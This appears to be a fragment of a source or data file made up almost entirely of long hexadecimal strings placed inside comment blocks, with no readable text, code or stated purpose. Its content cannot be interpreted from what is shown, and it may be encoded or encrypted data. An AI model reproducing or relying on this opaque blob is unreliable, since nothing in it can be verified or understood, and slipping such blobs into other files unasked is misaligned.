3c76e6eb755812e2d4d61f96e55b716bc93fc877f3fc7ba5ae70494fe609295c52d8ae39aaec0599f2118aae9e35c69651ad8cc694bc97e2562e7d0ee5ddec2d2c615544c9e995ad2a6a3f83704cb313f49c36f754ed65e79e41cb971ec28c6af5268d4aee29ce24e0e6ad93c4b125c3f7a42a5bb46a6abaef89af2204eae1ac0806f219d3e6da86f6103c65fadad829ce5215de3403a76fb8a52a4914957f736f21f58887524e4d79d19305a2ab36530543cb0d318a77c0aafb0efdccf6e125c4816bedfcba289fd0778f92f46d02b0d9d67a35b111fd4c818cc3eff1fe2c795bf479056eb1dc66288d744ddf1d2cb642f9ac9fb59f0034db2608691e3ffcc9648b8ce1d3db2b7dd21c2cac1c536419a8edede43ec02456f5a16e45cc7da87769c8ee45e59504f44ccc42f3a6a7041c46028745dea9a56c275a4dd66f7920ca1743b8e002e4325fd086fbb92b79356954b3aefcbe6cec67ed062c6fa1020b95243a8ba69fcbab52892bdee4fd5ca25c9b26f56494448dd5e506985c909a37168cc199a7fefe4f1652ad4d182ceccb366bcafc1dc2691858d6a97805f27b992c67038fa2832d8f8fd5ee5c03bed30d41aaed9cf6dd66e6c54f4ef0a53dbbedd49819b1491d81742c6736632c780c012cf2d4f7aff06b65e6ddbcb2a6c5652b58a33487a835b25045b79d1a0c97a465a504101e83ba32e88e1ef7bf245e1475ddfdc01953d683318d290eab9b6b4e177fa697e5b1b5f842bb964c5a4f55c32bbf75401f562230c26217e997e70d742bb2be95f177159ba24f31bc7aa2096384ffe8ae750557cba98044b81cf04caeb4d599bea326c01e247a5a0e280f2b8585274da230b14077a9d10e6cb3ce98cd63bb20ccdb3da3cb2265b284279a65517aefce0194fde4a2a2ec55049f5a6b8bedf40e34aa5b75ed5c2d958bfd485e967d2ed1a45518c8808c635459477bf2d96c11140626ede8db8448fd124bff5f9139c7cb7a70443abd1de52b7c3bd535bc30db01872ebe351b569e1ab8e8b2d140b428dfe2f5d41f4df82ba59ec79eb029706a7f5383b96f48cade40534488b288e0e3a5f4cebaabc63deb77080127020c4b55bff2edf8f4f9efa1d5b00ee48bcd95154e0e794e6fda440b36bb26eda199d588d2d0fd7cea80f3af0c8daefaea8fec41024aaa8842a602ed80903c62724db4b7815f7b83d4cfb4da82770fef00851444c02b397c4c4019e8d7c2302013fc136e5aec74d66259bb577b28bcd6137936c0510c35751f5526fd96c1641e91c51efa0d3393b78aedba98c845eee79a1a3c8b2364864d9155f25d9f2eeab111e3d07601664fe9c20b07002a3c0ed2f504cfe36ff2b3f0d4f6d3abff0fcbad5a67159499d2113d*/
/*ae49a0a0391e307b02af334c12da0e285413400b4c89d78819e64f4d794e16daa0d901e4cfc1f520fbeb5517dfe9858f0cad2ca7c159a05efd4084aa26722f9d8af058f4840e986bfa8208038492aea3d3d834ddb85f0b732a2ef1b04b93db68afa842f2c2679fc6fec56db8c342d33ea412f7ad82bb8e5af141e3cd7e52a5b92e61435d4fe60b2b007b862ae94a24e8e712336e668299daade912a6ee0621dcf1e9a7b919fbf8d57d15165d74f32f08c3eceef05e89ba3ce1e98113584e10988e0112e665ad6242c986de39b62455e9bc490f8cddbd154b883714de923e08aef41d0c63dae6d8f2ffaebf30947a74a94425fc2af128f0e69f34241115d31be685c266e466435b4eaffcc3c64db6b4d65972960eb53fd4a63cc88b6c5515d0da34f7f59ff2673e38f5b3d46fbcdfce0ae8edb3240d5172052375c6db9ad2983fd9b1cdee4e287bff4d2a71bf0ae883c812233b67d193e553831293f6cb28866b9b649753c03b9f208509077253a052bb402c2554a2e8119c7d091cac66763034b1706dc7f1eab6fb4e4e85ed7148f9fb18be8463a08aab58b0541fec786b2e9ba0611da41f88df7ef83480a2622ec8ae5188ecb074152226f2171030d189ce4162d67790af7f17201a18b3194045c876ff0d433f0d3f9a1eeac92a990d5dd3aad0160fdbb3aba982b4aede56129602355214d47390d1ec7f84a1edc974f3742d4865f52b6c392448f07e8e7b05b34b67258543039cc3baf02dc5332c47867e90025c5f0880d002e61480c913106918edcb1c8ad8d401c604e34ba09af46bba150e3fe3833931006d530aa3b31563b3ff563036bdcffe5f0ea9fa83f1bb45cd395c64df2c20f03f1073f25b8a5923714d5b6aab4f5398f31bf0948d8bfdcab6ff66af8531f2e0fd4a2e6e7c564ad5d36d85e187ea303a0e84e9405e703f0ee04856ade3c0ac193a8d20a131a7ffd258b6217354bef0b04de1298de1d0bc42d3c15c0b10a6555faeece26ee5c45c223daf31c75116ec6650e850d58e3ebe89281acd551b17df0ca8600a2a1d7d55b6e8f1f520329b3423bdc46de31b2e83d2b7be8f20a7cbc2d48c8e96f3728452fc4eb919cc22e8d5c15e2b4712d16634603c98503914bbe77e04b335b2f8ab201128f054c72ee6c2da9bc4b7fd73635d5f531d3e54b5a470599ab918750ed7d4424b657c50dbf542a0d98c588071a22df8bce0915572fc2e8e5939a2d88f2d95b0cb8475a979c977e69445112db2c7a6ce23cc461a8f29514e1fc0becfba8a06d7840e56ff75cda0e5abf0fef22a4e3e81fc9b92ec394cac03816910bcf923f23e01e900421b615bd8d314698642d509fcab60d3b94ac8ab95686b7a8e85eda0c5e951c8ef8904f89a7305ebc34bb57eee4538c0dea67a3b14caec1166ca0480a8e60993422c594c20a5dd098d9da0da944ea71f9d3b50c6f314f25b26e283d803e165bd99dc7537411f8c8941cf97cde71942399de26810555063d1421be17375020be05232f3427f5a54e913726cd6a953d3a0673b5fc0d3f64b4f212bae3644493a5b3e158fdcc6b19f413ece91f7711976ceb54b93708ef634aee059c717d3aadae6b0da5769eca218f9abe3232963c7ac7a13f68ff0807f8edfc743b2e28092a55a49c167678114107bd12a169797b191c4b68c0a6af7751a2caa445f23e6aac205490c35797431ed258f63f22257a9b8f9cad3da1f761a4d94f8bc6cef91a9fcd5ac87680698e348e2b877b2e1758077b71791e76f4584efd844e3ea2597c211c7b2cf82693da4d45cfb28e272ec99679f3d82be217e7ae76cf1f9a3e45c7e1ff50534e2f3878d1f17e4c8c77a21631c0fdb6e02141e6c2222d639ace8bba8ee342679179a4b34d002b0b47becb24181a1c9340e57b0115f9a7d98803af810fe534f97e97c78b0c668714252dad9bf4d70b153a967e7503b1af2477e70d726f9fe5d140dd9bc47d9ea39bc05bfdbf8aa92393d53301192a953712384de05bb614b89479548e1f2d02b8fe2560b72aeff8c842912a89d61ec668c181a7c8f0bc249c71ccbe4d3c8023e5512778f3fe989ca35d1ce4caf4c6972b06ec9ae0cc95c3f7a36b1a5ac675d56eba7ca173d9a43f159033ea0b54fb3b56beada9330fba7058814043a49d513436b94ca63609e6c4be512c87f18de8c3f6f444a8438d043e42840127a8718f2adac1daf3026d5219d61ebd841e3c5f03d0ceaa92429988e0f6b6ca6d0ced582f3cb25afe2caae82c422d06e9809d839736f4cabc9ef16eb6d300abbb8054bb016c24dc8f4b1d0d0fea3c72fa9806cc96382f9e8b9ead4bdbae358276af23ca49c5aa71f6f55c48fd37c969d98b1bf36099ef2e955a96fba5991294aff89ef23c57e7e3209dc023fefd9f3d04d834e73b4140077958951a048bf3f2f1bdf9f2ef3e1e213bacbd5352c0706162717d6ad4b66856b2d1ccf32c1a52a83d38556750a68f06aee0f318c78237a721cee2490226006bd26fdd130a203c8b9b196a29af7dc9561b5608fcbaed0db6d51e5170c233e9226096ef20383f31fc5415ab0f140be3bcbf94d35c148cd6a5b048a37124c3ef34cd66d3d0ae548e83316f3248dcd02160a40b12bf89c5abb8670ab714f4c56e3abe42181b6e3333e4f64ae2f0a9f8dfd4036a63006b0c46b394d5add4d06ff7edec5f7869b3f12395b58c47acd5954ffaa7aa81d34078f6faf2139ce1e8c68ccc1db448449bec3c4729350b1658c62ae54b324da777bbe2e6ef3851b4d76bc297baf3279189de93eb245db61d349bc8c747185ce6c0ea74ccaa8af1b2a867dbaf2fc9148a4*/
/*dd019d6cd87884cd58c3b064241c0cefd14b5d22b2e9e3cac1ea6e649a739cbbd5b3968ee0e19e77a22097bd6dec5ae7861793cab187ed4f12504bd4f8020222721f8795dbac2ee2179c4a64768adbfec77b678f07f773518c585447272d033457c933b685b7f8a6b9be01fdc38a81d7df18efe0569272bf152e3dda0dd16fcb73e299f26cbe6e65524b905c40626fb297d73f9e5b15fc901e89d3116e43009f8242b7e1bfbe393877ea785750bbc08f1e992af72969739b88a001238797308a76a9264c5552a83e6f49365f778fbe16693eae88004bb98be3f6229a50f6808fa9f2db79b1fb599a61cd7999d69cec31d02008965d826cab875f66ef91ed0d90deca055ccfd385b4ff451b0b5a18d0fb1656dcf81dc5b88422d9d46c83122eda95d00639cc1e79f6a12a0bd138f12b9e4fefd08f2262c239c2c5c93bd8cc97b69f34de017596d2da8116fdea92c02f2dbadca0bcb9e2a0a192cb7df30f51e4c89be09ba6f5afcbaf60cfb54c938ee44b36d345a3153bf6f79709446b85e03b211ed5a68b1826ce0752091b18a99730d1e1df6f3bbe7b8fd3ba6ba6eb8ea0e7d889af8c6f5baad59e8c05a05f15f5e34bde2152105946961f76d3323d5dba824e01a693ec5328da88d17914fc39103203a29d25c09df8e5197d245abe51bfcefe258a4590c941e5c5363a65d3bb5de3131f1ca468d099f4774c61fc409cd309828bbf01cb26f8dd7ac855cc4d54f6cb03583d102412dfc6fe952c24076dc79d0621b6bd45a36f1e6a7ad52683d1bd1b1fbefbe72ce2877ddf48827914a6e07ccb7beb4b7d24b77cc85ed620fdbef9456e18c4e9bf6b443904a1f1fe15a02e96136c6220ca93c3b9aa9e2503c7bbef3cb1ab6eaa0d6e079217a5031a0692610148a9018d789a266b6941cf447169a60d7bfcdfbacf3ebcd5086d77b9924a7f9d9ae85bba489bf8faed6853baf2e158ea02895179c190e088c89287f6ad079d3c1592887ad68604f3de8c43c4b44f3ea8f98c38254f50a030b6c9dde356598cf09f31a8db020ecf74390176eebcbea880871a571dd05816c722b22cce427e0afc9e447bc4d86051fc076d59b0ae59bc3ff958f8ab3754ed5fe9c35c9a4e9f798c17b7a7a6d54b31f046a4a6668277e911a39f9698effaa7ec525461b4528f8303ec4960d2806774474f85a78674e4190b5293fe9fbd05e219a1838157f7339ed38bfe30031ce68325c2243eb96dfcb6d1a4560ba2837e4c8f8556e7d0c2bb949705e6bb1a59b4b2cfc1c2c48df9449ee499ee3b93d73bfabf547672f7e61f3b7741bfd9657901a5d8b9378136acc5d8bd2259951a8629035dc41e31b331bbb6442a7d2aeaf581bb4427a63e39a1b3e9756db9eb974cca37a470bf66ac20f45230d6a7cd8094ccae3a729dac6114cc9a4a029d1685132306c29772de9684e9bb6da0d995897b5ea90f39cdbbbc770d2637f95007a8979c91382d47f1e98b08328a36e1fea6572c558061f5cd130c6686ef47d0a1f86d7fee38325d8aaa79661ae4899ddef0a2de17ec2140d6137d3493302c087818dd544efaee3bf30f895e6d2233d95245edc78b02546ee1c9de7c8909125aa8764228c9594d5c526a53f57bd69bf267614ade7a136e90aa33370312a2041a33cf19b763141d18ff4c0817189b30f0052a63ae758182b074968ae6dc1860726e14e645ac3381aabc85f8f2e0546f4d5311c8856bcbb269ce4c1be3294dcc8c088bc7ef9dbf6ef4ed27877ce3211d21bd759cd385a5d1d2fbef62366bf586763ad6c454d103c8f376148ab4f19a9ada9ea1d8d088b1286e2496f7a4789cedc4df7ccd2dbde11fda74eb03ea701af4e16e8376dba2c9516676dd7b3ad70e46490a849d0c45be374006c4bdd8a713d4ffc0523a0c1975cbc4400d410b00772d678c01aaec5ad36e3dd53ac6e8c369c77f7e4ec24039882687b4b80d6ec8e62365f99e309227f57470f89a586a90e6c6112ef986f981360bc228cf002be5b3176bed0cef2ef4ac1511cb2ab99bd41dd907f5d47fdbfee66471f7d108a86c39f89183b039a0e30a93f14fcb526ff880e3b85a2e3ff54c95d13155df176c0de18a0e24b5912c950f0e74a98f7b8eb46ef157b9baf0db4af009c6017e41e22bbf2db6eef447985965d603c62183eb57dda30015ef6fb96390d9f03ed5bdeb759903198304c7651d0fd18df54d8b640857bccf1d1dc3f566a23d326dab30d8c3faf570364a01df3b59ac26ad6e487d3f2be85d0d1ce0910bcb552cfa770ecd923997e75aaaffe14876b502cba4922d85b5a15ca732538e65a8331e9c32e659b9c95644be05af15ec7d5d9e036baf2a3358d5beb229ffac24b1227fbc3220defc2ec6517a6b0c9b28a6891404aa14cbad9b2f35c51d1d51f1d85630ccffb15ae2f2d23d94c7ba496650de800722bb9bf6d4bd3c7d18eaafeb1c481184b909c265beea30ed6ee43eb53625865a96aadeab7237a34b1a110db6ccd366ededb61c4421b9cce9b56d0f6810ad6318bc1cfb2b778341cf2e42ba32eba1e70f3f98e3b9c2ff11785cdca7204e59962c53d6bb4d6d9875610df11dc2c96f4b48fa4889c7204d9033663af9666e2de2ac4e44467ece55517785d956dfb3c63e38231c980871de47876ac499ed06d04af7745b8bdb5dc0271e546a4ef2e640d37198025a6f8716adec68fc9f6a5f85f200bb8af08e0ec0b8b31012e40a9f39fa42fc2f637f87d0aa0f08a7a4e29db712e3653b9519d9fed44ffed3bbcbab18094d6d91872f48949e9d138c5931e64803d9f1c456b77c478b282e04f955589518433b4291c59055*/
/*577169d70e9f3771ec737d097694605c35652defece875bc6232c4b7cd0946b415eb8cd965ae4b1e265cfb8f07c01259a1fe862d86cb6205c68a3444f287bb784c216cef9459093d71eedc1d9374ea815e76808b1a32c58d8d85bb95e7e853d8641a4009192f94df45705201c80a6d57404649e4a9f3398afae28f69afb83f42c5964df5983bb9e3b38bb6da0221d713377f9ac370b6e8c5861cbfdded54dcb03ef748e56d50389c4adff9384064031bb84e773b251e51c62fa0b9e7518c3a22936969510057da8f41d1ca43efd9c7d6423b24a5034222424f0b249c32a0c86b177d6b12562c6dfb02ab6389cb3de2012c1d94fdd22e3a253e3fd9222dadcccc1ebfa7a1c26bda369970ef4a438505da3bddd98eca65b6bd23ca17941b7d7999736782d164ea857d5c5cb8f675101e2821c15c2b41cc7146c4f1a6da50f06b0ef74eb3794ad5ed4dbbf84450b7dee1715443032391e6dd9fba8260a96ce6e8f7022749b8ea8db95c0851b8965b6eadadf9f7c4e937cd287e145e4334f86609d4905c8064c7758e3f4e6d5d16ad4ec745b9c56642b56dbbc115ec563397e61b8ff5c689fcab5a67dd345f75ec86bb674cab64e03ad96d7c94055565820e987af5b967959d90e7c7cb93d58049f1b98a77570a164fa616d401de9c3668332a91aa6b72b1eb4b02d571d02ca5b86b8feef5452518b07df31b1be9bb494fdd6698d75fee0d7d5b1be3e603dfd8871ab11a76ffd86128279779b2268aa87e28b102b133fa92963575bbd08c092d1f4e8ba78e7f51131610581913b8190dd298230e8a51118760128119d150501531f85cee92bfc24b8729c9030c57d6d96389ab7c92f1475fbad2ffa289dc45385504b2c26c63dd0dfa11721c668fdd37e8122538b4e708f578b14576cd755a3061a58bd310ad68c8c8b78043d38f34423e559b85f259dc09f3885f709ec3703d7052c7eecdd45c0b290ad862fd46bdefae9c064f4a2310586fb17de21b09eab1647f1e3a375c75c3d2fc9782a3140f1044adcd973b48b124748b3d7e2299302367873c56eb396407f8326a2ea21a4d294ed64480edd744e603660b9f69d00cd1efe9fbfbb95f734fcbf269d01ab67bac4b99445eb458a251addb225221ffe8cbde4e32b5cf6f2f1e6eae87ae64d473f431a833563dee055a199606a05cff1b8c2ea97c770e0504aa241f0a0adc2d942e401017e809d573211f34aa04c4d80c9c2521eaf7787e1ac7367dddf1404ec01baf85655bdb0b0d4c250a1edd5678ccbddd0bd23288ad38eecf4d49a4a2dcfd30d83828f434aa584cd94a4f9941bb16e3b509312c29a1b201d27601c748e306050a0f7baac4b90f559d532f282ce7dffd97cb02d53b311fd42e8dea39e7023eaf48998e5e6e9728b6f7c9c8f6dc22dca3286e4addabe61abfe3caff2496349eec9fe2cc6e8e74f0aef3e28c5da5deafefc482590f7fb48d52ea8de5a1b7556ee89815bd31f0281893973fd9fba3ad8ac3e8c513f7f538005695349413dd0002f6beee47890af61cd2015caa6f06d475c51a3bd02b471bb1f7459cf94f801c3ea17f2df46101c8c8ea3e24dd9425ca149fa2bfc89d3962308c44eba3fd94d8e53b3454cadf41d5a238cb6a3c9eb0f9bce2d7d9185e2b9f322f2d3391df47bdde6da021d93e49f2eb83e656250d63b3ae0979f4817685537872899bc74720121e907ac01d10a7c4fd4e30923769b7a80aa83f85130a9a5f551a2ea128f60bb31becbf4ad87490fd94ada7749b84af9583d7bb1f7e1522fa6dab9a2e7b67d7cdebce932aa22dcdde371ccc6c378cc51b9e45594e3aa9bbfbc117bca51e9e2b2b3dc4a86db64a01fea411ac615480eee48352e89037ecdae7b8e96bf87a76a3ffdb15a2f56d362cf8b79f987c6056e18142863874fa7458f408d6e9ab2851e46f174e8e7cf70ff0b274265014d2da152386fd3422b2e5279a691cf0c3b2393331094a4329e009a50056cb66b0c4715c62750be1109041a54d01618555e1f90097d4f99473f6b62af643d9cdedd25443ed390116cea8e9d90043fde05303ba489a17672303a1ef573e9409d76653147145965172705f29a33fcd48fa6fe8d82f087d2fcc3f188048aa5d49bdfad9f2e5ec7f5a95da2194c66af00b594bda6e6f097d699f8e041830fc252a09ff7b59fb4b4355b80dc5ace87e40eb0a7128d9505d70485dc74692825733a8e6de021041cde22295a13276e493374106cdccb8117d69a3de05c3271d79f4898f439a412a5ff1d47061eccdb02973e0519cb2d2c1ef82431e1401f08f05916e650ff30e1c87316791d77fcf7b2c97fdb4553c214d688e01a728982b32be1044eb3a31a3fe40b8d758a28db3f881488661df46970380ec0e49c9f81ef4d5b2212a49ae6d16c96b0ce00f62cc0b954a9f76b384b89af3863585a6d68eac31d811376ad6e8f0a629103223461d04ae48c36af9c78eb774e3cfd7c1f9f2c129179c002c3fe6fc505cf35db24ac4e5159d4156dc7d8da85822a631ca0be516c69735005e0850befe7ddbe587607eb0b3905ccd0a69d5cede2404918727b142ef7d40ff933caa8084bc1299677ff3d478d0f58d3fb03012827cf74275f43b90ed24620d80363868824bb3957336a00aa4a4fbefba588c9c18d6b2253c20cf7ffcc058622a94e09cf38f07dd4df86141d863153ea9b7e13c3501741c981268c6b00917eb1e43c4a7c20b261320d501199b4eac01777c30a291f97f44ef61a53df36bb4451a0863b140ccde686c4f1b41fc6ea5f87c175a75e6fb86c4bc95190dce05b46c1b76dfdec8dc57785ab3f19d*/
/*d0ed7753032b85ab08a51030fa5cdd0f56357d6101f67b8c541b354a6ae95398dd82c8cc960a64a8bb460c9119c3c895b7e380c01140275b4b264df56c39274f36ba42780b67710cb26b948d76b80f1d14b0fc42052978291ee95835b1e515abc21a2aa67ce16381cd2ee783489e2f77c80bc8b711f1fcca521830d54e63d93ce6c5ea95f90bf9fde006d92634b6827fa0502f726d2e4557aa634a2c640fecc7422f2123e84017e369ba215561ed0cb3f6552ac9cc8b168a57f4da894d03ce882b3fd7117388978685cc0680567be85b9a03f25531928654c37a39b31d4874a8aedfb2cc7701d3f2ba2e29400183b94d009b293f12dc6778c89b734d04f0b92f29d716d2200710b5160d9840d3e349149441552a49082fd8e68b7dceacd3612e9e86595fbff427645dacbf3ee9645774d72a18e4d85c0c5ab4f3048b8fb1184ba62938991c6187f4a758fc84caeef41c96cfa83029ad5ee5fffa59ed23b4ac6aa31ad38cca860c1373e0343ad4d1557c46c742d19892f9fdbf6d52b9467b3b56a5955cfba5542b8b689564dba4f58781d38fdceb761963e3b2f333575ff87705d20e14d05c4d78fd0e3b158ad413158fa149eb55040b2da39d2f88d9e19e3bc2b53ad245753df7e184839de6993fc939e1f41d7dc4ccdd28699c96811debe0784ded09d673d1a6a1daf6f4d70ec3d13b7492aa439934c7188702a1fc169d415e967744f9e6b46df77a4ca5427f225ddd95cd47e6a5827cfae9d9137a8969c1892dd6ec594597a1ad0fe9b34b70979d43b3e87666a9f0c5b7310b233d031c10068404efc6bf776485f440d1c93cfcfaf9fcacf892d7d145a1f1372559c246c757c318a3d98ce213b068641dcb793657a7395524449f9f08f95a2ecbb23652b4e4fe2c17a68582aaa394dbd5695332d949e211e7d94d25d1be33124281d6b4b6d6b5f67881fd802424fb3853338214a2fad07e618e117df9922ea709aa796d727160438f15b81d623b997ff394ece48a9a6efe6269d3cfd9c15f224efebaca9a39f242d9e2c7ff35849db14f3375efafd90d73a3e9d7a927f7344c3323f65a6c2ddab78f3458c2eb92a2ace4ca5b13081e350efb0a9bb62d53a313f89093ca9f15600f57f45149aca3c298489c71cf3f1952b74687d47a7a0d26c7bcb6eb84d036b59dbcbe7e5be87bb9ba132c5ba0a3e6ecd481589de4dbde87e55835c33066c3b218334462cd8d8166f47dc87e6c49db505be9e074f46a7afae7a08f901a6a77b49ae9ced34421e8ac5a0e6468a510676ccb753e65662d2cab52303dc3a69820749d736b73382f8479cde7e0bfb483be635d258e1967a3bcb39742415430f3c09c9df43921e46024f28aa80d8d58eef5196e347751ab02a2cb71c428849b21d95dc34465dc195a48cab72bf489217069ecc94d7f5064206323ed09caa58d91d93040b3e6d0c929a606ae52a4669c3e8bd8a9bf7ab2f4e0afb2621534fb3bad2b821264f247be4992ddfe3a0d18850334cbbb779df9916ecec1c89f98a727af71caabc013ee9494df38e6be4d4020e7b00b762c826ddee975f8f37ed40c50dc84aead8da67ee762c6bdd0f046b818ad418c1b083b3325df35571a5b5cbcc920efd16d79526cca9125cf75868e1a63dcea2ddc0783d1e6beaec672b4cb08b6877a7a0e54f86bffd19ac389c438a6fde05fd059b8bc47ccbd0c9b6dbdc85279184b2411c32a9050b9f71bb4ad6dfc4ba5602b8cde2de687afe481946f839d1f952f2b69731d5b1b24ff219e14090d4ae203a456c4e54fb7d18c8cf881e50bf99bcf26555e49d19e289fba383ad81ba2b8151974319d30aa55c71233fdb2ccfdcaae09c24b90053ca25a601b398c266bf423c641fdd7c1ffcb30ae1d837c618abc1ef8dae5222ab47c9e05a308ab7a01244a99788c9e3a0cbca89035e54437ff3839b75c597e044051e785244b481144a741f56b8ad3d03a49fe8050a57a59c612c6bab38a5f9756f248c1a87f03a67cf0dcb08adf4901b0fae708e12cd5ca304ec139de0f882440e724f8cfdc018d2a4c60c8ed938f75ba332046c18c571014a06e6b35df6b895eca09fd89bbbf0511ec8a3ffc53361ef2795fbe16f23ebdfcb56399b8d44f8c687f94c024a2157e0ddbe55799d4ce8b60eca58f0eeed07b7dc7fcfb437d27428a2b65ac7c36a497d81d3a76a18fd6afb740a3268885d13fceb4d021da26daa4707b256e267dde9db1b8bd09200eae854e08f6f86c327b8df1fcebb5aae3398cdabbbc55d56e647afa55e332d1356a47b76aa581d24b094ccc055a7d3ccbd3c6ea5513a30da44733a6094885e77a8d111965f44e6f17608d5edc2b99ff28b97b6c89d9e41c92ba00ea349eccfa1161cc1dab0f687945e2cb072d1260b2ce5d1835338e2dafa9e2fd9d1a10c5bb1c537f137be6265da26a64e700fcc97774e789e62aa3bb3e6cd1203dea4dce476188485e34307b1abdaa16ae277564a98069196e423b984a8aeea4bff7e843d35dd23b958fbc052e50a07fe379b7d9449aed20be529492232dde121b35974f319afcc1140cd32d35851efd80036995a26b80c6b7e51bd41b8f668b56be32653d8956cee77307d1936d3c8e284b6d13ef0e4364a270935212badb9db0c7181fe368ca3958b27dfe631db43f7ae3bf408e480e7763176dc292d906ad5865f5d9840347e536e6d110444798ce4416c2fce809b0dd8dbfcf19379e18815fdcd94e2fb289e52c3676dffdb46cd7d1091df933f16ec93d8dbc527ea7e97c5a8f83d77f19c4f9e9c1d1e284853b3725b41392e64718a4891525bf029af6258aa6ff*/
/*1c80ab5251fae1e4c7908c0382a5280e5b1dd21df7f10794f347697c9aa4e365c277ce9acd4a1ec3825728cde9e442f6e5738e2b31f4e03d0580cd0e2765bbd9fc5c0f6bb14f1a3578c488ea411b1007be798222cd755f5b342b2e787cc38dc389d4d8c9b4b9ff8d9e1727a0036b0c654b260d1c58fc2cb7a0ed2878246eb8ef0011203a2da4efff5ca9ed0227c9749ebab3a920144e6ee3885756fbb569ba3718d8f1c0509e374e0feb4f8a97e425c18f3acad813afce0c352f1fadb1639dbb9ace7a46e990e665fffdde718f15dc0caaacb27840282c79406ba0eca7638e3bf265e18e97a6870f55f1e317f66293641bc62d35c0579242f0347b3d4ac6a39022e1420bb6d579ba606c7dbd3a13133ffb9325f6e8047bb1956f647bedffdb3a3b357f7a2d988164348bb96e3c9db5e0e2b11cb6cddde59e3d2361a0228bd5c5c0fde854d1f2f1b7cb6fdb537d538155a61d00cff2da0865c40b9e32a23018e66f88c50490d751a5e4c13025c837887fdcf7b195fbf371a0e2eec8f72cddf8e4cd6613afe751cec8e35e5989fc06a6422183aca274bc1d7054afba5939c989a9b4b75962cede667d46fb57033158baddcd1972d2e11395dfb04f10dccec36bcbf112a94675fc4983c2da25fd9f2e66887952b5536340ce4f8412653818df2fbe904fea9c7b88124cdf9692e21d115c269c245df05e78d8d1d12256e49f6c3d52eb18e8e5193fe88b434f9b981868e8341eeb94d4c5f07b3ed55a24b0ff5bee53f78755da077a9ad100ae088424c8e73619347b49316cfb609751f7eefe313b4a128843335c8ea2c40d7d6845497633e55d946800abacf3f71cd553c7f469ce8d0fdb5c7a1df4bd8e28132cf5200be4c5b069724350443a350bb9d5b95819f097c05208de1bc9f9a2494176efa400383a2cfae08c671d9ba63258f51c69d8c9346fddf253d1cb889a0d98b4e49d40c8a303adb1ee41473562b185e06b9e6a5f0d351de08a919c3be2fb9821bb54cde4e616a0597bb73683c90a750c45a6ba8a577974029fcf6ad0b4120d00d2b2a95b576d33777a02380dd566181631a9021f3677e21f7bb89ebd673f17205d4aa5f985cce50afea1ef6efec8e5a04efc7263e6afe06ae48ae764770d5aa9330eabe2db862e8a8d72176bd7617f78041afc7fa0b9eafe7148b8c3ad21676b52360dee8a748970c372e04b5e38a587407cce24a28a69a7f463cbc2d3ae1b59832e6a33acba9db2107d3a855da5b5a5b63569fb901dbc7019ab228417069bdb669390a68fcb3a90b5daf0ca740d1cbdbfb154e8c9a82874f6b7535bb83a0be6b0825a3d705603dc6598bfc9cc9f30de629bcfaa61c6f6380b407101a796f1699be16a577c9a29b693eeae4ced37b931cd6b762b5fccd896aad9514f9f080a2bbe152730ae9e6f2a0a61c59d2a29790143c1621695905a95bb4454d3847b6318382c1cd4baebdbdb6818da7e977d52b35234dc6bd3039346bad96d8462314f86ce5e67bed9c2276bc66a52b94434c479c71b177296d5db3a8ab88ead1ab57b6167f321a41306806680aef2c3f0146ccbeca4d4cbd9610c05111a729c21ace244a2e516a59707b6e61c6db45f04fbdbec04def49bd95ed8f2b93e35abe298ac06913832dee77757e8cea8a6151836f3413e9c11d99911d429882e20ba459e61ac6d3f31f5219fbaa2a62bdab77e6e23b847a1aa47cd1a324b40cfaeeefb57fcd7fd77f62e3220d650f23db869679a083e0f24ec1d249567bce8ece40d09ab66fa7752bf1c949399e17d317743f914ca203d836a6262e26f93d4d1462221b2c70c143710a77401f4150c6f04e31db5f9cc35d9b0e8c016dd5a3b92a726cb683d9cb91426dcae4241e2c59e43448ead20810a9f7a464dae7cf141dbcdab433f47b5df8128e8bc9c0767ee8c5da3690082d8ba5e94db931b7485e7e4fe1be9b44186950e35db497c9e7db3c87ce67ab1652826d755e31726484c9c4fc8452e3c6b6ef5c16576c011b80d4f85e7d315f2e9432503522c4ab4a6263ff7136e5244859c811254ff76f0cf9740b4a865de655b60cff72e9fbc61e1a130abf7a6eb6a7893e3ee587da70fe29a338afaf22663a3c55ff99b76879ce80a8423f49bd7dcb55d10120d498f4326688a05fb64c3256366d7ec9d4755be6b98698e9e734928daf27ff6a930293b59ff571eb4bbfe5ccef97b573ff017c1ae6ebea83ff31cce3490f3d7f3e6a778ab12a559be96646af46faaf488b61f0251bedc6088fed921709008ef62831d23ac5a9cdfcf4e93e65a7663f7fbaa17665034de2b97f6fd992dd2166805e5b453a967546df534c9afac5f44142bb5746a1e4034700b14636d859f3f5f74f4ed57bfd145c02eafb627693bc5e863e9489c8724ef1faabab98e9ff7cae3be4597148288d97891ac821ba0483a74510b24daabea47e774cab5710c9bfc7efcdd5d16c918dac393deabc4839f7850cd86da51e101cb25db7d6fd5b8589856dfb70a9c7e53a9f4b3777a1e53186b13144888142eb5d73a0f86f861abbb95bca94a2c7211b7611500b9599da7826f98ef259395cc5e06c0c7f8c7046e579c55d2401d246806a3bb4c911be5789d3d72327f795771e49ad658bc3a42f593c6a20a367a82fe2e89291c613a5cfbf6d69b15ce6fd7e07df98943701ca0f3490575d49a4a274946dab4b79bda6e6c6ce9c428061a46396ede51fcf282d98e1ee3d3ebc5c68de710e50b501255c96cfc409626eda0f7fd76f9007f105c7df75bc64c43c7bd433c2808ed0a418391592107d6438982582b319e5c286504b26be1b916d05515*/
/*25f9187d5aa589a8b02180a3364460c371487f4e8279314c659d5b58be0d16c5a6e8f95e40579244c6d6960084e88fd6dc05099b2732de2284223b85e469058421475da6d41d21968f8c9f42ff89a83fe35ad72d13f0ac752e0abe20e28ef8fc8a79e4027235606327ed83e4cd31099ad5553aa58235da39b10726f26e983d134132632e4012597046da29f41109c963b717c9eea22a58a49c907410af59e46c893b97b99b08b9d17c303dcc92b9dde094d2e19271f5e9421c5ae71eba1e1474bbc1830c24825c5b57346eb68143a72704e54da5193f268e818905fad0e2ed25a164e678f10111cab291f34f37eae4a12b4aea6a4083a2d8f003435f2e36dbd621b58f76b8cafda750f9c57369b9b2b9188e84f787cda8a90eb71146c99a44413faf65bb4d70415321445f3022b93537fecdb98796d37ba19d49d7c018bc7d877c4b084e225216c13c9f4cd3c2a620809dde5e6fb0f34bef53528bb49fb9a5263f429d9d8bffc49aa9fddce2df2aa3a04ca4d6d306bbb8d1b8bd8b171cacdc2128326b055ace53320db63a801a252e7184d45676ad1e7cb76fe29a6599013121a77e711a69379009634214838ffdd5c4d39e3ea07399fd844fdc9a8d80051c044fd554960b0ad1e7582ba17764346e6d9593f4cb573caef4376d157ddd7f6e57d2867599712a2ea5391e95a7c72e5499c97303b023fffa0b2